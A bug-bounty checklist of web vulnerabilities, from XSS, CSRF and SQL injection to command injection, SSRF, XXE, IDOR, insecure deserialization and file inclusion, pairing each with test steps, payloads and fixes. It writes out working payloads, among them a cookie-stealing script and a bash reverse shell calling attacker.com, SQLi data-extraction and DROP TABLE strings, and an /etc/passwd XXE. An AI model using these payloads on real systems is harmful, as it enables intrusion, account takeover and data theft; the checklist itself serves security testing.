

Bug-Bounty Checklist

Section 1: Passive Reconnaissance & UI/UX (Simplest)

This section covers bugs found through observation, source code review, and user interface interaction, generally requiring no attack payloads.

Name: HTML/CSS COMMENTS

Severity: ★★★★★

Type 1: Sensitive Information in HTML Comments

- **Test Case:** Right-click > "View Page Source" on all pages. Look for `` tags.
- **Payload (What to look for):**
- **How it works:** Developers leave notes, credentials, or internal endpoint information in HTML comments, forgetting they are publicly visible.
- **How to fix:** Implement a build process that strips all comments from HTML, CSS, and JS files before deploying to production. Enforce a strict policy of never putting sensitive information in comments.

Name: JAVASCRIPT SOURCE CODE DISCLOSURE

Severity: ★★★★★

Type 1: Hardcoded Secrets in JS Files

- **Test Case:** Use browser DevTools (F12) > "Sources" tab. Read through all loaded `.js` files (especially `app.js`, `main.js`, `bundle.js`, or files with random hashes). Use `Ctrl+F` to search for keywords.
- **Payload (Keywords to search for):** `api_key`, `secret`, `password`, `token`, `aws_`, `firebase`, `Authorization: Bearer`
- **How it works:** Developers hardcode API keys, internal API endpoints, or other secrets directly into client-side JavaScript files. Since these files are sent to the user's browser, the secrets are publicly exposed.
- **How to fix:** Never store secrets in client-side code. All API keys should be stored on the server. The client-side code should call its *own* backend (e.g.,

`/api/proxy/weather`), which then securely adds the secret API key and makes the request to the third-party service. Use `.env` files (like in Next.js or Express) and ensure they are *never* prefixed with `NEXT_PUBLIC_` (for Next.js) or `REACT_APP_` (for React) if they are secret.

Name: VERBOSE ERROR MESSAGES

Severity: ★★☆☆☆

Type 1: Detailed Server-Side Errors

- **Test Case:** Input invalid data into forms. Try adding special characters like `'`, `\`, `[` to URL parameters. (e.g., `id=1'`).
- **Payload (What to look for in response):**

```
Fatal error: Uncaught PDOException: SQLSTATE[42000]: Syntax error...
in /var/www/html/includes/db.php:101
Stack trace:
#0 /var/www/html/login.php(20): DB→query(...)
...
```

- **How it works:** The application is in "debug" mode and leaks full stack traces, database query errors, or internal file paths. This confirms vulnerabilities (like SQLi) and maps out the server's file structure for an attacker.
- **How to fix:** Configure the server (e.g., `php.ini` for PHP, or environment variables in Node.js) to *never* display detailed errors in production. Set `display_errors = Off` (PHP) or `NODE_ENV=production` (Express). Log all detailed errors to a secure, server-side file or logging service (like Sentry or Splunk) for debugging, but only show the user a generic message like, "An error occurred. Please try again later."

Name: UI/UX - BROKEN LINK / INCORRECT REDIRECT

Severity: ★☆☆☆☆

Type 1: 404 Error on Internal Link

- **Test Case:** Use a tool like **ZAP** or **Burp Suite** to spider the site and find all links. Manually click every navigation link, footer link, and button.
- **Payload (Test Case):** Click the "Terms of Service" link in the footer.

- **Observed Behavior:** Page redirects to a 404 "Not Found" error.
- **How it works:** A page was moved or deleted, but the `<a>` tag's `href` attribute was not updated. This is a low-severity bug but damages user trust and usability.
- **How to fix:** Implement automated link-checking in your CI/CD pipeline. Regularly crawl the site to check for broken links. Fix the `href` attribute to point to the correct URL.

Name: UI/UX - VISUAL LAYOUT BUGS

Severity: ★ ★ ★ ★ ★

Type 1: Overlapping Elements / Text Not Visible

- **Test Case:** Use browser DevTools (F12) > "Toggle device toolbar" (Mobile icon). Test common viewports (iPhone 12, iPad, Galaxy S20). Resize the browser window manually from wide to narrow.
- **Payload (Test Case):** Open a modal (popup). Resize the screen. Observe if the modal's "Close" (X) button disappears behind the navigation bar.
- **How it works:** Poorly written CSS (e.g., `position: absolute`, incorrect `z-index`, or use of fixed pixel widths) causes elements to break their containers or overlap on different screen sizes.
- **How to fix:** Use modern CSS layout techniques like **Flexbox** and **CSS Grid**, which are designed for responsive layouts. Use relative units (`%`, `em`, `rem`) instead of fixed pixels (`px`) where appropriate. Test on multiple devices.

Name: UI/UX - ACCESSIBILITY (A11Y) BUGS

Severity: ★ ★ ★ ★ ★

Type 1: Low-Contrast Text / Missing Alt Tags

- **Test Case:** Use browser DevTools > "Lighthouse" or "axe" extension. Run an accessibility audit.
- **Payload (Test Tool):** Run **Lighthouse** audit.
- **Observed Behavior:** Report shows "Background and foreground colors do not have a sufficient contrast ratio." (e.g., light gray text on a white background) or "Images do not have [alt] attributes."

- **How it works:** Text contrast is too low for visually impaired users to read. Screen readers cannot describe an image to a blind user without an `alt` tag.
- **How to fix:** Adjust CSS `color` and `background-color` to meet WCAG AA contrast ratios (at least 4.5:1 for normal text). Add descriptive `alt` attributes to all functional or content-bearing `<img>` tags (e.g., ``).

Section 2: Active Bugs - Client-Side

This section covers bugs where the server is "tricked" into sending malicious data, which is then executed by the client's browser.

Name: CROSS-SITE SCRIPTING (XSS)

Severity: ★★☆☆☆ (Reflected) / ★★★★★ (Stored)

Type 1: Reflected XSS

- **Test Case:** Find a URL parameter that is reflected on the page. (e.g., `.../search.php?query=test`). Look for "Results for: test".
- **Payload:**
 - Simple Alert: `<script>alert('XSS')</script>`
 - Cookie Theft: `<script>document.location='http://attacker.com/steal?cookie=' + document.cookie</script>`
 - HTML5 (no `<>`): `<img src=x onerror=alert(1)>`
- **How it works:** The server takes user-supplied data (from `?query=...`) and "reflects" it back onto the page without sanitizing or encoding it. The browser sees the `<script>` tag and executes it, believing it came from the trusted server.
- **How to fix: Context-Aware Output Encoding.** Never trust user input. Before rendering any user-supplied data in HTML, encode it.
 - **PHP:** `echo htmlspecialchars($user_input, ENT_QUOTES, 'UTF-8');`
 - **React:** React does this by default (e.g., `{userInput}` is encoded). The danger is using `dangerouslySetInnerHTML={{ __html: userInput }}`. Avoid this at all costs.
 - **Defense-in-Depth:** Implement a **Content Security Policy (CSP)** header to tell the browser to *only* execute scripts from your domain.

Type 2: Stored XSS

- **Test Case:** Find any feature that saves user input and displays it to others. (e.g., user profiles, comments, forum posts).
- **Payload:** Submit a comment with the following text: `This is an innocent comment.`
`<img src=x onerror=alert('Stored XSS!')>`
- **How it works:** The malicious payload is saved in the website's database. When *any* user (including an admin) views the page, the server fetches the payload from the database and renders it, executing the script. This is highly severe as it can steal admin session cookies.
- **How to fix:** Same as Reflected XSS: **Context-Aware Output Encoding** on *all* data being rendered from the database. Also, use an HTML purifier library (like **DOMPurify**) on input to strip dangerous tags *before* saving to the database, as an extra layer of defense.

Type 3: DOM-based XSS

- **Test Case:** Look for pages that use the URL hash (`#`) to modify page content. (e.g., `.../page.html#username=Guest`).
- **Payload:** `.../page.html#username=<img src=x onerror=alert('DOM XSS!')>`
- **How it works:** This is a subtle bug. The server *never* sees the payload (browsers don't send the `#` fragment to the server). Instead, client-side JavaScript reads the fragment (`window.location.hash`) and writes it directly into the page's DOM using a dangerous "sink" like `innerHTML` .
- **How to fix:** Avoid dangerous JavaScript sinks like `document.write()` and `element.innerHTML` . When writing to the DOM, use safe properties like `element.textContent` or `element.innerText` , which are not parsed as HTML.

Type 3: Mutation based XSS

Severity: ★★★★★

Type 1: Bypassing HTML Sanitizers

- **Test Case:** This is an advanced attack against applications that allow "safe" HTML (like a rich text editor for comments) and use a library (like DOMPurify) to sanitize it. The attacker finds an inconsistency between how the *sanitizer* parses the HTML and how the *browser* parses it.
- **Payload (Conceptual Example):**

- Attacker submits a "mangled" HTML string:

```
<svg><style><title>/</style></svg>
```

- **How it works:**

1. **Sanitizer (Server-side):** A library like DOMPurify parses this. It sees the `<style>` tag and correctly identifies the `</style>` inside the `<title>` as just text. It doesn't see an `<img>` tag and thinks the string is safe.
2. **Browser (Client-side):** The browser's own HTML parser has slightly different rules. It sees `</style>` and *prematurely closes* the style block.
3. **Mutation:** The browser's DOM "mutates" the string. What it actually renders is equivalent to:

```
<svg><style><title>/</style></title></svg>
```

4. The `onerror` event, which was "hidden" as harmless text to the sanitizer, becomes an active event attribute in the browser and fires.

- **How to fix:**

1. **Content Security Policy (CSP):** This is the *best* defense. A strong CSP (e.g., `script-src 'self'`) would block the inline `onerror` event from firing, even if the mXSS is successful.
2. **Library Updates:** Keep your HTML sanitization libraries (like DOMPurify) on the *absolute latest version*. They are in a constant cat-and-mouse game with researchers finding new mXSS vectors.

Name: CROSS-SITE REQUEST FORGERY (CSRF)

Severity: ★★☆☆☆

Type 1: State-Changing Request without Token

- **Test Case:** Log in to the application. Find a "sensitive" action, like "Delete Account" or "Change Email." Use **Burp Suite** to capture this request.
- **Payload (Attacker's HTML Page):** An attacker hosts this HTML on their own website and tricks a logged-in user into visiting it.

```
<html>
<body onload="document.forms[0].submit()">
  <form action="https://your-university.com/api/account/delete" method
="POST">
    </form>
```

```
</body>
</html>
```

- **How it works:** The application only checks for a valid session cookie to authorize the "delete account" action. When the logged-in user visits the attacker's page, their browser *automatically* includes their session cookie with the `POST` request, and the server thinks the user genuinely made the request.
- **How to fix:** Implement **Anti-CSRF Tokens**. For every sensitive state-changing request (POST, PUT, DELETE), the server must:
 1. Generate a unique, secret token and embed it in a hidden form field (e.g., `<input type="hidden" name="_csrf_token" value="...">`).
 2. On submission, check that the token from the form *exactly* matches the token stored in the user's session.
 - **Defense-in-Depth:** Set the `SameSite=Strict` or `SameSite=Lax` attribute on your session cookies. This prevents the browser from sending them with cross-site requests.

Name: OPEN REDIRECT

Severity: ★★☆☆☆

Type 1: Unvalidated Redirect Parameter

- **Test Case:** Look for login or logout flows that use a redirect parameter. (e.g., `.../login.php?redirect_url=/dashboard`).
- **Payload:** Change the parameter to an external domain:
`.../login.php?redirect_url=https://evil-phishing-site.com`
- **How it works:** The application sees the `redirect_url` and sends a `302 Redirect` header to that location. Attackers use this to make a phishing link look legitimate. A user sees `your-university.com` in the link, clicks it, and is then redirected to a convincing phishing site.
- **How to fix:** Use a **whitelist**. Maintain a list of approved, safe domains (e.g., `your-university.com`, `subdomain.your-university.com`) that the application is allowed to redirect to. Before redirecting, *always* check if the `redirect_url`'s domain is on this whitelist. If not, redirect to a safe default (like `/dashboard`).

Name: CLICKJACKING (UI REDRESSING)

Severity: ★★☆☆☆

Type 1: Page Rendered in iFrame

- **Test Case:** Create a simple local HTML file.
- **Payload (local `test.html`):**

```
<style>
  iframe {
    opacity: 0.5; /* Attacker would use 0.0 */
    position: absolute;
    top: 0; left: 0;
    width: 500px; height: 500px;
  }
</style>
<button style="position: absolute; top: 100px; left: 100px; z-index: 1;">Win
a Free iPad!</button>

<iframe src="https://your-university.com/account/settings"></iframe>
```

- **How it works:** The attacker loads your website in a transparent `<iframe>` over their own malicious page. They "redress" the UI by overlaying a "Click here!" button precisely on top of a sensitive button (like "Delete Account") on your invisible page. The user, thinking they are clicking the button, actually clicks the button on *your* site.
- **How to fix:** Send the `X-Frame-Options` header.
 - `X-Frame-Options: DENY` (Stops all framing)
 - `X-Frame-Options: SAMEORIGIN` (Allows framing only by pages on your own domain)
 - **Modern Fix:** Use a **Content Security Policy (CSP)** header: `Content-Security-Policy: frame-ancestors 'self';` (or `'none'`).

Section 3: Active Bugs - Server-Side (More Complex)

This section covers critical bugs where an attacker can interact with or take control of the server itself.

Name: SQL INJECTION (SQLi)

Severity: ★★★★★

Type 1: Tautology (Login Bypass)

- **Test Case:** Any login form.
- **Payloads:**
 - Username: `admin'--` (The `--` comments out the rest of the query)
 - Username: `admin' #` (MySQL equivalent of `--`)
 - Username: `' OR '1'='1`
- **How it works:** The server code insecurely builds a query like: `SELECT * FROM users WHERE username = '[username]' AND password = '[password]'`. An attacker enters `admin'--` as the username. The query becomes:
`SELECT * FROM users WHERE username = 'admin'--' AND password = '...'`
The `--` comments out the password check, and the query finds the user `admin`, logging the attacker in.
- **How to fix: Parameterized Queries (Prepared Statements).** Never concatenate user input with SQL. Use a library that separates the *query logic* from the *data*.

- **PHP (PDO):**

```
$stmt = $pdo->prepare('SELECT * FROM users WHERE username = ?');  
$stmt->execute([$username]);  
$user = $stmt->fetch();
```

- Node.js (e.g., `node-postgres`):

```
const res = await pool.query('SELECT * FROM users WHERE username  
= $1', [username]);
```

This way, the database *knows* what the query is *before* the user data is added, so the user input is *always* treated as data, never as code.

Type 2: UNION-based SQLi

- **Test Case:** A page that displays data from the DB, e.g., `.../products.php?id=1`.

- **Payloads:**

1. Find column count: `.../products.php?id=1' ORDER BY 1-- , ...BY 2-- , ...BY 3--` (Keep going until it errors. If it errors on `BY 4--`, there are 3 columns).
2. Extract data: `.../products.php?id=-1' UNION SELECT 1, 2, 3--` (The `1` ensures no real product is found).
3. Steal data: `.../products.php?id=-1' UNION SELECT 1, database(), user()--`
4. Steal table data: `.../products.php?id=-1' UNION SELECT 1, username, password FROM users--`

- **How it works:** The `UNION` operator combines results from two queries. The attacker first "nullifies" the original query (with `id=-1`) and then appends their *own* query to select data from other tables, like the `users` table.

- **How to fix:** Same as above: **Parameterized Queries.**

Type 3: Blind SQLi (Time-based)

- **Test Case:** A form or parameter that gives *no* visual feedback, not even an error. (e.g., a "contact us" form).
- **Payloads (Tools like SQLMap automate this):**
 - `' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)--`
 - `' AND IF(1=1, SLEEP(5), 0)--` (If `1=1` is true, pause for 5 seconds).
- **How it works:** The attacker asks the database conditional questions. If the page takes 5 seconds longer to load, the attacker knows the answer to their question was "TRUE". This allows them to exfiltrate data character by character.
 - Example: "Is the first letter of the admin password 'a'?"
 - `' AND IF(SUBSTR((SELECT password FROM users WHERE username='admin'),1,1) = 'a', SLEEP(5), 0)--`
- **How to fix:** Same as above: **Parameterized Queries.**

Type 4: Blind SQLi(Boolean Based)

Severity: ★★★★★☆

Content-Based Inference

- **Test Case:** Find a page that *doesn't* show an error, but *does* change its content based on a valid vs. invalid query. For example, `id=1` shows a product, but `id=1 AND 1=2` shows "Product not found." This is your "TRUE" / "FALSE" signal.

- **Payload (Replication):**

- **Test TRUE:** `.../page.php?id=1' AND 1=1--` (Page loads normally)
- **Test FALSE:** `.../page.php?id=1' AND 1=2--` (Page changes or shows "Not found")
- **Extract Data (automated with tools, but this is the logic):** `.../page.php?id=1' AND (SELECT 1)=1 AND SUBSTR((SELECT password FROM users WHERE username='admin'),1,1) = 'a'--`

- **How it works:** You are "blind," so you ask the database a series of TRUE/FALSE questions. If the page loads normally (TRUE), you know your guess was correct.

- The payload above asks: "Is the first letter of the admin's password 'a'?"
- If the page loads, the answer is YES.
- If the page changes (FALSE), you try again with `'b'`, then `'c'`, etc.
- Tools like **SQLMap** automate this process, but this is the underlying logic.

- **How to fix: Parameterized Queries.**

Type 5: Stacked Query SQLi

Severity: ★★★★★

Semicolon Injection

- **Test Case:** Any parameter, but this is especially dangerous in login or update forms. This vulnerability *only* works if the server-side technology supports it (e.g., PHP's old `mysql_query()` function, or SQL Server). Modern APIs like `PDO` often block this by default.
- **Payload:** The semicolon (`;`) is used to end one query and start a new one.
 - `.../page.php?id=1; UPDATE users SET password='hacked' WHERE username='admin'--`
 - `.../page.php?id=1; DROP TABLE products;--`
 - (On SQL Server): `.../page.php?id=1; EXEC sp_addsrvrolemember 'MyWebAppUser', 'sysadmin';--` (Escalates DB user privileges)
- **How it works:** The application's code is vulnerable, like: `SELECT * FROM articles WHERE id = '...';`

The attacker injects a semicolon, "piggybacking" a new, malicious command. The server executes *both* queries in sequence.

- **How to fix:**

1. **Parameterized Queries** are the best fix.
2. **Use Modern APIs:** Use PHP's **PDO** or **mysqli** extensions with prepared statements. These libraries generally do not permit stacked queries in their standard `query()` or `prepare()` functions, which mitigates this specific attack vector.
3. **Principle of Least Privilege:** Ensure your application's database user has minimal permissions. It should *only* have `SELECT`, `INSERT`, `UPDATE` on the tables it needs. It should *never* have permission to `DROP TABLE`, `EXEC`, or alter user roles.

Type 6: Second Order SQLi

Severity: ★★★★★☆

- **Test Case:** This is a 2-step attack. The initial "injection" is benign and saves to the database. The "exploitation" happens when another, *different* function unsafely retrieves and uses that data.
- **Replication (Step-by-Step):**
 1. **Inject (Step 1):** Attacker goes to the "Create Account" page. For their username, they enter: `admin'--`
 2. **Store (Step 1):** The application's `INSERT` query might be safe (using parameterized queries), so `admin'--` is saved *literally* as the username in the database.
 3. **Exploit (Step 2):** Attacker goes to the "Change Password" page. This page's code is vulnerable. It asks for "Current Username" and "New Password."
 4. Attacker enters `admin'--` as the username.
 5. The *vulnerable* backend code builds a query like this: `SELECT * FROM users WHERE username = '{$_POST['username']}'`
 6. The query becomes: `SELECT * FROM users WHERE username = 'admin'--'`
 7. This query finds the *first* user whose name starts with `admin` (the *real* admin account) and comments out the rest of the `WHERE` clause. The

application then proceeds to change the *admin's* password, not the attacker's.

- **How it works:** The payload is "stored" harmlessly and later "executed" by a second, vulnerable piece of code. This is very hard to find with automated scanners.
- **How to fix: Parameterize all queries.** This includes queries that retrieve data *from your own database*, if that data was ever supplied by a user.

Name: COMMAND INJECTION (OS INJECTION)

Severity: ★★★★★

Type 1: Unsanitized Input Passed to `system()`

- **Test Case:** Look for any functionality that might interact with the OS. A common example is a "ping" or "DNS lookup" tool in an admin panel.
- **Payloads (for a `ping` utility):**
 - Input IP: `8.8.8.8` (Normal)
 - Input IP: `8.8.8.8; ls -la /` (The `;` is a shell command separator)
 - Input IP: `8.8.8.8 && whoami`
 - Input IP: `8.8.8.8 | cat /etc/passwd`
 - Reverse Shell: `8.8.8.8; bash -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1'`
- **How it works:** The server code insecurely passes user input to a shell function.
 - **PHP:** `system('ping -c 3 ' . $_POST['ip']);`
 - **Node.js:** `exec('ping -c 3 ' + req.body.ip, ...);`
The attacker's payload `8.8.8.8; ls` becomes the command `ping -c 3 8.8.8.8; ls`, and the server executes both.
- **How to fix: NEVER** pass user input to a system shell. Use built-in, "safe" functions that do not spawn a shell.
 - **PHP:** Avoid `system()`, `exec()`, `passthru()`, `shell_exec()`. If you *must* execute a command, use `escapeshellarg()` on every argument:
`system('ping -c 3 ' . escapeshellarg($_POST['ip']));`
 - **Node.js:** Avoid `exec()`. Use `execFile()` or `spawn()`, which take the command and arguments as a *separate array*, preventing shell interpretation:

```
spawn('ping', ['-c', '3', req.body.ip]);
```

Name: SERVER-SIDE REQUEST FORGERY (SSRF)

Severity: ★★★★★☆

Type 1: Fetching URL from User Input

- **Test Case:** Look for features that fetch data from a URL. (e.g., "Import profile picture from URL," "Check if a website is up," "PDF generator from webpage").
- **Payloads:**
 - Internal IP Scan: `http://127.0.0.1/` (Loopback)
 - Internal Admin Panel: `http://192.168.0.1/admin`
 - Internal Port Scan: `http://localhost:8080` , `http://localhost:3306` (MySQL)
 - Cloud Metadata: `http://169.254.169.254/latest/meta-data/` (Critical on AWS/GCP/Azure)
 - Using different protocols: `file:///etc/passwd` , `gopher://...`
- **How it works:** The server receives a URL from the user and makes a request *from its own internal IP*. This bypasses the firewall and allows the attacker to scan the internal network, access internal-only admin panels, or even query the cloud metadata service to steal server credentials.
- **How to fix:** This is hard to fix.
 1. **Strict Whitelist:** The best fix. Only allow requests to a list of pre-approved domains.
 2. **Deny List:** Block requests to private IP ranges (e.g., `127.0.0.1` , `10.x.x.x` , `192.168.x.x`) and the metadata service (`169.254.169.254`). This is weaker as it can be bypassed (e.g., using `http://example.com` that resolves to `127.0.0.1`).
 3. **Network-level:** Run the service in a container with strict egress rules, allowing it to *only* talk to the public internet.

Name: XML EXTERNAL ENTITY (XXE) INJECTION

Severity: ★★★★★☆

Type 1: Misconfigured XML Parser

- **Test Case:** Find any endpoint that accepts XML data. (e.g., older SOAP APIs, file upload features that parse XML metadata).
- **Payload:** Send this XML in a `POST` request.

```
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<data>
  <name>&xxe;</name>
</data>
```

- **How it works:** The `<!ENTITY xxe SYSTEM ...>` line defines an "external entity" `&xxe;` as the contents of the file `/etc/passwd`. When the misconfigured XML parser sees `&xxe;`, it replaces it with the file's contents. The server's response will then contain the `/etc/passwd` file.
- **How to fix: Disable External Entity parsing.**
 - **PHP (libxml):** `libxml_disable_entity_loader(true);`
 - **Node.js (e.g., `xml2js`):** Most modern Node.js libraries have this disabled by default. Ensure options like `externalEntities` are explicitly set to `false`.

Section 4: Active Bugs - Authentication & Logic

This section covers flaws in how the application manages users, sessions, and business rules.

Name: **BROKEN ACCESS CONTROL (IDOR)**

Severity: ★★★★★☆

Type 1: Insecure Direct Object Reference (IDOR)

- **Test Case:** Log in as a normal user. Access a private resource, like "My Profile" or "My Orders."
- **Payload (Test Case):**
 1. Log in as User A. Your profile URL is: `.../profile.php?user_id=123`
 2. Copy that URL. Log out.
 3. Log in as User B (ID `456`).

4. Paste the copied URL into your browser: `.../profile.php?user_id=123`
 5. **Observation:** Can you see User A's profile information, even though you are logged in as User B?
- **How it works:** The application checks *if* a user is logged in (Authentication) but fails to check *who* that user is (Authorization). It serves up any resource just by being given its ID, assuming the user is allowed to see it.
 - **How to fix: Always perform an authorization check.** On every request for a private resource, check that the ID of the logged-in user *matches* the ID of the owner of the resource.
 - **Bad Code:** `SELECT * FROM orders WHERE order_id = ?`
 - **Good Code:** `SELECT * FROM orders WHERE order_id = ? AND user_id = ?`
(Where `user_id` is pulled from the *server-side session*, not from a URL parameter).

Name: PASSWORD RESET POISONING

Severity: ★★☆☆☆

Type 1: Host Header Poisoning

- **Test Case:** Go to the "Forgot Password" page. Enter your email address and intercept the request with **Burp Suite**.
- **Payload (Raw Request):** Change the `Host` header.HTTP


```
POST /api/auth/request-password-reset HTTP/1.1
Host: evil-attacker.com ← ATTACKER MODIFIES THIS
Connection: close
Content-Type: application/json

{"email": "victim@university.com"}
```
- **How it works:** The server code dynamically generates a password reset link using the `Host` header from the request.
 - **Bad PHP:** `$link = 'https://' . $_SERVER['HTTP_HOST'] . '/reset?token=' . $token;`
 - The victim receives an email with a link: `https://evil-attacker.com/reset?token=...`
 - The victim clicks the link, thinking it's valid. The attacker's site receives the valid reset token, allowing them to take over the account.
- **How to fix: Never trust the `Host` header.** Store the application's canonical, public-facing domain name in a server-side configuration file or

environment variable (e.g., `APP_URL=https://your-university.com`) and *always* use that variable to build links.

Name: 2FA BYPASS

Severity: ★★☆☆☆

Type 1: No Rate Limiting on 2FA Code

- **Test Case:** Log in with a valid username/password. At the 2FA (6-digit code) prompt, intercept the request with **Burp Suite**.
- **Payload (Test Tool):** Send the 2FA submission request to **Burp Intruder**.
 - Payload source: Numbers, from `000000` to `999999`, sequential.
- **How it works:** The application doesn't limit how many times a user can *try* to guess the 2FA code. A 6-digit code has only 1 million combinations. An attacker can brute-force all of them in a few hours (or minutes, if multi-threaded).
- **How to fix:** Implement strict **rate-limiting**.
 1. After 5 invalid attempts, lock the account or force a password reset.
 2. The 2FA code *must* expire after a short time (e.g., 5-10 minutes).
- -END--

Name: RACE CONDITION

Severity: ★★★★★

Type 1: "Check-Then-Act" (TOCTOU) Flaw

- **Test Case:** Find a function with a limited resource. (e.g., "Apply discount code `FIRST100`", "Withdraw money," "Vote").
- **Payload (Test Tool):** Use **Burp Suite's Turbo Intruder**. Copy the request for applying the discount code.
 - **Turbo Intruder Script (concept):**

```
def queueRequests(target, wordlists):
    for i in range(200): # Send 200 requests at once
        engine.queue(target.req)
```

- **How it works:** The server logic is flawed:

1. `Check: Is usage_count for 'FIRST100' < 100?` (Yes, it's 99)

2. `Action: Apply discount.`

3. `Update: Set usage_count = 100.`

If an attacker sends 200 requests *at the same time*, 100 of them might pass Step 1 *before* any of them get to Step 3. This allows the attacker to use the code 199 times instead of 100.

- **How to fix: Atomic Operations.** The "check" and "act" must happen in a single, atomic database operation.

- **Bad:** `SELECT` , then `UPDATE` .

- **Good:** `UPDATE coupons SET uses = uses + 1 WHERE code = 'FIRST100' AND uses < 100;`

This single SQL command checks the limit and updates it in one indivisible step, preventing a race condition. Using a database-level lock (e.g., `SELECT ... FOR UPDATE`) is another valid fix.

Section 5: Stack-Specific Vulnerabilities (As Requested)

Name: WORDPRESS - XML-RPC BRUTE FORCE

Severity: ★★★★★

Type 1: `system.multicall` Attack

- **Test Case:** Check if `https://your-university.com/xmlrpc.php` is active (it shouldn't return a 404).
- **Payload (Test Tool):** Use a tool like `wpscan` or send a manual `POST` request to `xmlrpc.php` .

```
<?xml version="1.0"?>
<methodCall>
  <methodName>system.multicall</methodName>
  <params>
    <param>
      <value>
        <array>
          <data>
            <value><struct>
              <member><name>methodName</name><value><string>wp.getU
```

```

sersBlogs</string></value></member>
  <member><name>params</name><value><array>
    <data>
      <value><string>admin</string></value>
      <value><string>pass1</string></value>
    </data>
  </array></value></member>
</struct></value>

<value><struct>
  <member><name>methodName</name><value><string>wp.getU
sersBlogs</string></value></member>
  <member><name>params</name><value><array>
    <data>
      <value><string>admin</string></value>
      <value><string>pass2</string></value>
    </data>
  </array></value></member>
</struct></value>

</data>
</array>
</value>
</param>
</params>
</methodCall>

```

- **How it works:** The `xmlrpc.php` endpoint is an old API for WordPress. Its `system.multicall` function allows an attacker to bundle *hundreds* of password guesses into a *single* HTTP request, bypassing simple rate-limiting tools (like fail2ban) that only look for failed `wp-login.php` requests.
- **How to fix: Disable XML-RPC.** If you don't use it (e.g., for the WordPress mobile app or Jetpack), disable it completely. You can use a security plugin (like Wordfence) to do this, or add a filter to your theme's `functions.php` :

```
add_filter( 'xmlrpc_enabled', '__return_false' );
```

Name: WORDPRESS - CVE-2023-32243 (Elementor Pro)

Severity: ★★★★★

Type 1: Broken Access Control (Authenticated)

- **Link:** <https://nvd.nist.gov/vuln/detail/CVE-2023-32243>
- **Test Case:** Affects Elementor Pro <= 3.11.6. You need an authenticated user account, even a low-level "Subscriber".
- **Replication:** An authenticated user can leverage an AJAX action (`elementor_ajax`) intended for high-privilege users. By crafting the correct request, they can change arbitrary site settings, including the `elementor_pro_license_key` .
- **How it works:** The `elementor_ajax` function failed to properly check if the currently logged-in user had the *capability* (authorization) to perform the requested sub-action. It only checked if they were *authenticated*. This is a classic IDOR/Broken Access Control flaw.
- **How to fix: Update!** Update Elementor Pro to version 3.11.7 or higher. The patch added a proper capability check (`current_user_can()`) to the beginning of the function.

Name: PHP - INSECURE DESERIALIZATION

Severity: ★★★★★

Type 1: `unserialize()` with User-Controlled Input

- **Test Case:** Look for cookies or POST data that is Base64-encoded. Try decoding it. If it looks like `O:8:"UserClass":2:{s:4:"name";s:5:"admin";...}` , it's a serialized PHP object.
- **Payload (Test Tool):** This is complex. You need a tool like **PHPGGC** (PHP Generic Gadget Chains). You find a "gadget" (a class in the application's source code, e.g., in a dependency like `Monolog`) that has a "magic method" (like `__destruct()`) that performs a dangerous action (like `system()`).
 - `./phpggc Monolog/RCE1 'system("cat /etc/passwd")' | base64`
 - Take the resulting Base64 string and put it in the cookie.
- **How it works:** When PHP's `unserialize()` function rebuilds an object from a string, it automatically calls "magic methods" like `__wakeup()` or `__destruct()` . If an attacker can find a class in the code (a "gadget") that performs a dangerous action in one of these methods, they can create a malicious object string that triggers that action, leading to RCE.

- **How to fix:** NEVER `unserialize()` data that has come from a user (cookie, form, URL). Use `JSON ( json_decode() )` for data transfer instead, as it is data-only and cannot instantiate objects or trigger code. If you *must* unserialize, digitally sign the data (e.g., with HMAC) *before* sending it to the user, and *verify* the signature before unserializing.

Name: NODE.JS (EXPRESS) - PROTOTYPE POLLUTION

Severity: ★★★★★

Type 1: Insecure Object Merging

- **Test Case:** Look for endpoints that take JSON input and merge it into an existing object. (e.g., a "Update Profile Settings" endpoint).
- **Payload (JSON Body):**

```
{
  "username": "MyNewUsername",
  "__proto__": {
    "isAdmin": true
  }
}
```

- **How it works:** JavaScript is a prototype-based language. Every object (`{ }`) inherits from `Object.prototype` . The server code might insecurely merge the incoming JSON. When the attacker sends a `__proto__` key, the merge operation "pollutes" the *global* `Object.prototype` , adding `isAdmin: true` to every *single object* in the application. This can bypass security checks (e.g., `if (user.isAdmin)` might now be true).
- **How to fix:**
 1. Use libraries that are hardened against this (e.g., `lodash.merge` is vulnerable, but `lodash.defaultsDeep` is safer).
 2. Use `Object.create(null)` to create "dictionary" objects that do not have a prototype.
 3. Before merging, explicitly check for and block any keys named `__proto__` or `constructor` .

Name: NEXT.JS / REACT - EXPOSED .ENV FILES

Severity: ★★☆☆☆

Type 1: Misconfigured Server / Client Variables

- **Test Case:** In **Next.js**, developers are told to prefix variables with `NEXT_PUBLIC_` to expose them to the browser.
- **Payload (Test Case):**
 1. Check JS source code (as in Section 1) for exposed secrets.
 2. Try to directly access environment files:
 - `https://your-university.com/.env`
 - `https://your-university.com/.env.local`
 - `https://your-university.com/.env.production`
- **How it works:**
 1. **Client-Side:** A developer accidentally prefixes a *secret* (like `NEXT_PUBLIC_DATABASE_PASSWORD`). Next.js will bundle this into the client-side JavaScript, exposing it.
 2. **Server-Side:** The webserver (like Nginx) is misconfigured to serve dotfiles (`.env`).
- **How to fix:**
 1. **Code Review:** Aggressively review any variable prefixed with `NEXT_PUBLIC_` or `REACT_APP_`. Ensure they are truly public.
 2. **Server Config (Nginx):** Add a rule to block access to all dotfiles:

```
location ~ /\. {  
    deny all;  
}
```

Name: FILE INCLUSION (LFI / RFI)

Severity: ★★★★★ (LFI) / ★★★★★ (RFI)

Type 1: Local File Inclusion (LFI)

- **Test Case:** Look for any URL parameter that seems to be loading a page or file. (e.g., `.../index.php?page=contact.php`, `.../view.php?file=user_guide.pdf`).
- **Payloads:**

1. **Directory Traversal (Read files):** `.../index.php?page=../../etc/passwd`
 2. **PHP Wrapper (Read source code):** `.../index.php?page=php://filter/convert.base64-encode/resource=db_config.php` (This will return the Base64-encoded source of the `db_config.php` file, which you can then decode).
 3. **PHP Wrapper (RCE via `expect://`):** `.../index.php?page=expect://ls` (Requires `expect` module to be installed, but demonstrates RCE).
- **How it works:** The server code insecurely uses a function like `include()` or `require()` with user-supplied input.
 - **Bad Code:** `include($_GET['page']);`
 - An attacker can use `../` (parent directory) to "traverse" out of the web directory and request sensitive files from the server. Using PHP's built-in wrappers (like `php://filter`) allows them to read the *source code* of PHP files instead of executing them.
